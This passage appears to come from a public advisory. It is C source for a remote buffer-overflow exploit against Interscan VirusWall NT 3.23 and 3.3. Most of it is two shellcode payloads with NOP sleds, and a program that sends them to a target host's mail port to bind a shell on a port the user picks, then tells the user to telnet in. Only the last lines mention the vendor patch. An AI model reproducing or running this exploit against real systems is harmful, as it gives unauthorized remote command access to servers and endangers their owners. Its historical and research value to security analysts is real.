"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\xbb\x10\x0b\x11\x01\xc1\xeb"
"\x02\x8b\xf8\x33\xc0\x50\x48\x90\x50\x59\xf2\xaf"
"\x59\xb1\xc6\x8b\xc7\x48\x80\x30\x99\xe2\xfa\x33"
"\xf6\x96\x90\x90\x56\xff\x13\x8b\xd0\xfc\x33\xc9"
"\xb1\x0b\x49\x32\xc0\xac\x84\xc0\x75\xf9\x52\x51"
"\x56\x52\x66\xbb\x34\x43\xff\x13\xab\x59\x5a\xe2"
"\xec\x32\xc0\xac\x84\xc0\x75\xf9\x66\xbb\xc4\x42"
"\x56\xff\x13\x8b\xd0\xfc\x33\xc9\xb1\x06\x32\xc0"
"\xac\x84\xc0\x75\xf9\x52\x51\x56\x52\x66\xbb\x34"
"\x43\xff\x13\xab\x59\x5a\xe2\xec\x83\xc6\x05\x33"
"\xc0\x50\x40\x50\x40\x50\xff\x57\xe8\x93\x6a\x10"
"\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57\xf0\x33"
"\xc0\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x48"
"\x50\x57\x56\xad\x56\xff\x57\xc0\x48\x50\x57\xad"
"\x56\xad\x56\xff\x57\xc0\x48\xb0\x44\x89\x07\x57"
"\xff\x57\xc4\x33\xc0\x8b\x46\xf4\x89\x47\x3c\x89"
"\x47\x40\x8b\x06\x89\x47\x38\x33\xc0\x66\xb8\x01"
"\x01\x89\x47\x2c\x57\x57\x33\xc0\x50\x50\x50\x40"
"\x50\x48\x50\x50\xad\x56\x33\xc0\x50\xff\x57\xc8"
"\xff\x76\xf0\xff\x57\xcc\xff\x76\xfc\xff\x57\xcc"
"\x48\x50\x50\x53\xff\x57\xf4\x8b\xd8\x33\xc0\xb4"
"\x04\x50\xc1\xe8\x04\x50\xff\x57\xd4\x8b\xf0\x33"
"\xc0\x8b\xc8\xb5\x04\x50\x50\x57\x51\x50\xff\x77"
"\xa8\xff\x57\xd0\x83\x3f\x01\x7c\x22\x33\xc0\x50"
"\x57\xff\x37\x56\xff\x77\xa8\xff\x57\xdc\x0b\xc0"
"\x74\x2f\x33\xc0\x50\xff\x37\x56\x53\xff\x57\xf8"
"\x6a\x50\xff\x57\xe0\xeb\xc8\x33\xc0\x50\xb4\x04"
"\x50\x56\x53\xff\x57\xfc\x57\x33\xc9\x51\x50\x56"
"\xff\x77\xac\xff\x57\xd8\x6a\x50\xff\x57\xe0\xeb"
"\xaa\x50\xff\x57\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5"
"\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9"
"\xfc\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9"
"\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc"
"\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6"
"\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc"
"\xf2\xd7\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde"
"\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce"
"\xeb\xf0\xed\xfc\xdf\xf0\xf5\xfc\x99\xcb\xfc\xf8"
"\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99"
"\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99"
"\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2"
"\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed"
"\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc"
"\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\x9b\x99"
"\xff\xff" /* 16 bit remote port number */
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\xfa\xf4\xfd\xb7\xfc\xe1\xfc\x99\xff\xff\xff\xff"
"\x60\x45\x42\x00\x0d\x0a";
unsigned long sploit_33_len = 794;
unsigned char sploit_33[] =
"\x68\x65\x6c\x6f\x20\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x4b\x8b"
"\xc3\xbb\x01\x90\x16\x01\xc1\xeb\x02\x8b\xf8\x33"
"\xc0\x50\x48\x90\x50\x59\xf2\xaf\x59\xb1\xc6\x8b"
"\xc7\x48\x80\x30\x99\xe2\xfa\x33\xf6\x96\x90\x90"
"\x56\xff\x13\x8b\xd0\xfc\x33\xc9\xb1\x0b\x49\x32"
"\xc0\xac\x84\xc0\x75\xf9\x52\x51\x56\x52\xb3\x80"
"\x90\x90\xff\x13\xab\x59\x5a\xe2\xec\x32\xc0\xac"
"\x84\xc0\x75\xf9\xb3\x01\x4b\x90\x56\xff\x13\x8b"
"\xd0\xfc\x33\xc9\xb1\x06\x32\xc0\xac\x84\xc0\x75"
"\xf9\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab"
"\x59\x5a\xe2\xec\x83\xc6\x05\x33\xc0\x50\x40\x50"
"\x40\x50\xff\x57\xe8\x93\x6a\x10\x56\x53\xff\x57"
"\xec\x6a\x02\x53\xff\x57\xf0\x33\xc0\x57\x50\xb0"
"\x0c\xab\x58\xab\x40\xab\x5f\x48\x50\x57\x56\xad"
"\x56\xff\x57\xc0\x48\x50\x57\xad\x56\xad\x56\xff"
"\x57\xc0\x48\xb0\x44\x89\x07\x57\xff\x57\xc4\x33"
"\xc0\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\x8b\x06"
"\x89\x47\x38\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c"
"\x57\x57\x33\xc0\x50\x50\x50\x40\x50\x48\x50\x50"
"\xad\x56\x33\xc0\x50\xff\x57\xc8\xff\x76\xf0\xff"
"\x57\xcc\xff\x76\xfc\xff\x57\xcc\x48\x50\x50\x53"
"\xff\x57\xf4\x8b\xd8\x33\xc0\xb4\x04\x50\xc1\xe8"
"\x04\x50\xff\x57\xd4\x8b\xf0\x33\xc0\x8b\xc8\xb5"
"\x04\x50\x50\x57\x51\x50\xff\x77\xa8\xff\x57\xd0"
"\x83\x3f\x01\x7c\x22\x33\xc0\x50\x57\xff\x37\x56"
"\xff\x77\xa8\xff\x57\xdc\x0b\xc0\x74\x2f\x33\xc0"
"\x50\xff\x37\x56\x53\xff\x57\xf8\x6a\x50\xff\x57"
"\xe0\xeb\xc8\x33\xc0\x50\xb4\x04\x50\x56\x53\xff"
"\x57\xfc\x57\x33\xc9\x51\x50\x56\xff\x77\xac\xff"
"\x57\xd8\x6a\x50\xff\x57\xe0\xeb\xaa\x50\xff\x57"
"\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda"
"\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc"
"\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff\xf6"
"\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa"
"\xfc\xea\xea\xd8\x99\xda\xf5\xf6\xea\xfc\xd1\xf8"
"\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4"
"\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8"
"\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc"
"\xdf\xf0\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5"
"\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed"
"\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xce\xca\xd6\xda"
"\xd2\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb"
"\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8"
"\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb"
"\xfc\xfa\xef\x99\x9b\x99"
"\xff\xff" /* sploit port number */
"\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7"
"\xfc\xe1\xfc\x99\xff\xff\xff\xff\x09\x1f\x40\x00"
"\x0d\x0ah";
void
usage (void)
{
printf ("Interscan VirusWall NT 3.23/3.3 remote - http://www.beavuh.org for nfo.\n"
"by dark spyrit <dspyrit@beavuh.org>\n"
"quick unix port by team teso\n\n"
"usage: vwxploit <host> <port> <port to bind shell> <version>\n"
"eg - vwxploit host.com 25 1234 3.23\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char **argv)
{
int socket;
unsigned char *shellcode;
unsigned char *sh_port_offset;
char *server;
unsigned short int port_dest, port_shell;
size_t sh_len;
struct sockaddr_in sa;
if (argc != 5)
usage ();
server = argv[1];
port_dest = atoi (argv[2]);
port_shell = atoi (argv[3]);
if (port_dest == 0 || port_shell == 0)
usage ();
if (strcmp (argv[4], "3.23") == 0) {
shellcode = sploit_323;
sh_len = sploit_323_len;
sh_port_offset = sploit_323 + 1282;
} else if (strcmp (argv[4], "3.3") == 0) {
shellcode = sploit_33;
sh_len = sploit_33_len;
sh_port_offset = sploit_33 + 762;
} else {
fprintf (stderr, "unsupported version\n");
exit (EXIT_FAILURE);
}
port_shell ^= 0x9999;
*sh_port_offset = (char) ((port_shell >> 8) & 0xff);
*(sh_port_offset + 1) = (char) (port_shell & 0xff);
socket = net_connect (&sa, server, port_dest, 45);
if (socket <= 0) {
perror ("net_connect");
exit (EXIT_FAILURE);
}
write (socket, shellcode, sh_len);
sleep (1);
close (socket);
printf ("data send, try \"telnet %s %d\" now\n",
argv[1], atoi (argv[3]));
exit (EXIT_SUCCESS);
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr (host);
if (i == -1) {
he = gethostbyname (host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
cs->sin_addr.s_addr = net_resolve (server);
if (cs->sin_addr.s_addr == 0) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
Solution
TrendMicro has released a fix to the buffer overflow vulnerability
in VirusWall:
http://download.antivirus.com/ftp/products/patches/isvw331_patch.zip
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